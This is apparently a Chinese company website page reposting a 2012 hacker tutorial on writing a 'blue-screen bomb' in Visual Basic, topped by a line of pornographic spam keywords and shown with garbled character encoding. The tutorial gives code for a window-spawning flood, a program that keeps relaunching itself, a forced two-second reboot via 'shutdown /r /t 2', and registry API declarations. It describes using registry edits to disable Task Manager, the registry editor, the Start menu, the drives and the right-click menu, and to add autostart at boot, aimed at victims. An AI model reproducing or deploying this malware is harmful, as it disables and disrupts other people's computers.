久艹视频免费看,亚洲成av人综合在线观看,51久久夜色精品国产水果派解说,gogo全球大胆高清人体444

知識(shí)學(xué)堂
  • ·聯(lián)系電話(huà):+86.023-75585550
  • ·聯(lián)系傳真:+86.023-75585550
  • ·24小時(shí)手機(jī):13896886023
  • ·QQ 咨 詢(xún):361652718 513960520
當(dāng)前位置 > 首頁(yè) > 知識(shí)學(xué)堂 > 常見(jiàn)技術(shù)問(wèn)題
看黑客怎么編寫(xiě)強(qiáng)力藍(lán)屏炸彈
更新時(shí)間:2012-06-10 | 發(fā)布人:本站 | 點(diǎn)擊率:765

一、彈要實(shí)現(xiàn)的功能

既然是炸彈,那當(dāng)然要寫(xiě)的厲害些,首先就要像很久以前那個(gè)網(wǎng)頁(yè)炸彈一樣,彈出無(wú)數(shù)個(gè)窗口,這個(gè)功能是給別人打馬虎眼的,讓他一心想著去阻止炸彈繼續(xù)的彈出窗口;第二個(gè)功能是專(zhuān)門(mén)針對(duì)windows XP而做的,當(dāng)然也是在2004年第12期黑防雜志上看到的---自動(dòng)重啟計(jì)算機(jī)(如圖1),

那么下一項(xiàng)就是讓每一個(gè)人都感到郁悶的事---修改注冊(cè)表。我今天教大家寫(xiě)的炸彈實(shí)現(xiàn)的功能大部分還是靠注冊(cè)表,主要的功能還是要禁止中招的人打開(kāi)任務(wù)管理器,禁止使用注冊(cè)表,隱藏桌面所有圖標(biāo),禁止使用開(kāi)始菜單里面的運(yùn)行,搜索,關(guān)機(jī),屏蔽ctrl+alt+del里的內(nèi)容,禁止使用IE瀏覽器里的所有屬性,屏蔽C盤(pán),D盤(pán)等盤(pán),這樣的結(jié)果看上去一定很可怕,如果我們屏蔽右鍵或者加那么一點(diǎn)點(diǎn)的代碼設(shè)成開(kāi)機(jī)自動(dòng)運(yùn)行,那后果會(huì)是什么樣的就可想而知了吧?

二、代碼實(shí)現(xiàn)

下面讓我們打開(kāi)VB編譯器,在窗體上面加3個(gè)timer控件,然后Interval屬性設(shè)得盡量小點(diǎn),該屬性1000為1秒,我的設(shè)成了6,這樣在一秒就會(huì)談出上百個(gè)窗口了。

實(shí)現(xiàn)代碼如下:

Private Sub Timer1_Timer()

Dim a As New Form1 ‘聲明以后出現(xiàn)a就是代表Form1

a.Show ‘Form1彈出

End Sub

Private Sub Timer2_Timer()

Shell App.EXEName ‘運(yùn)行這個(gè)軟件的本身

End Sub

然后隱藏窗體本身,書(shū)縣代碼如下:

Private Sub Form_Load()

Me.Hide

End Sub

那么在XP里自動(dòng)關(guān)機(jī)是怎么回事呢?這個(gè)就是一個(gè)命令就能搞定的(shutdown /r /t 2),就是說(shuō),重新啟動(dòng)計(jì)算機(jī)的倒計(jì)時(shí)是2秒,這樣中招的人就沒(méi)有辦法停止我們的shutdown了,其實(shí)到這里就可以算是一個(gè)有趣的惡作劇了。實(shí)現(xiàn)代碼如下:

Private Sub Timer3_Timer()

Shell ("cmd.exe /c shutdown /r /t 2") ‘調(diào)用cmd 然后在cmd里輸入shutdown /r /t 2就是說(shuō)設(shè)倒計(jì)時(shí)時(shí)間限制為2秒

End Sub

下面說(shuō)說(shuō)修改注冊(cè)表吧,既然要修改注冊(cè)表,那我們?cè)趺茨懿徽{(diào)用API呢?當(dāng)然,曾經(jīng)在電腦報(bào)里也有說(shuō)不用API就能讀寫(xiě)注冊(cè)表的,但是我想還是讓大家用API吧,畢竟API接觸多了是件好事。那么就讓我來(lái)教大家條用API來(lái)簡(jiǎn)便的修改注冊(cè)表吧,我們先來(lái)建一個(gè)模塊,在里面加入代碼:

Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long ‘這是調(diào)用API函數(shù)來(lái)關(guān)閉注冊(cè)表

Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias "RegCreateKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal Reserved As Long, ByVal lpClass As String, ByVal dwOptions As Long, ByVal samDesired As Long, ByVal lpSecurityAttributes As Long, phkResult As Long, lpdwDisposition As Long) As Long ‘這是調(diào)用AP函數(shù)在注冊(cè)表里創(chuàng)建一個(gè)鍵

Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long ‘這是調(diào)用api函數(shù)打開(kāi)注冊(cè)表

Declare Function RegQueryValueExString Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As String, lpcbData As Long) As Long

Declare Function RegQueryValueExLong Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Long, lpcbData As Long) As Long

Declare Function RegQueryValueExNULL Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As Long, lpcbData As Long) As Long

Declare Function RegSetValueExString Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As Long ‘調(diào)用API來(lái)設(shè)置注冊(cè)表里的鍵名

Declare Function RegSetValueExLong Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpValue As Long, ByVal cbData As Long) As Long

Private Declare Function RegDeleteKey& Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) ‘調(diào)用API刪除注冊(cè)表里的的鍵

Private Declare Function RegDeleteValue& Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) ‘調(diào)用API刪除注冊(cè)表里的的鍵值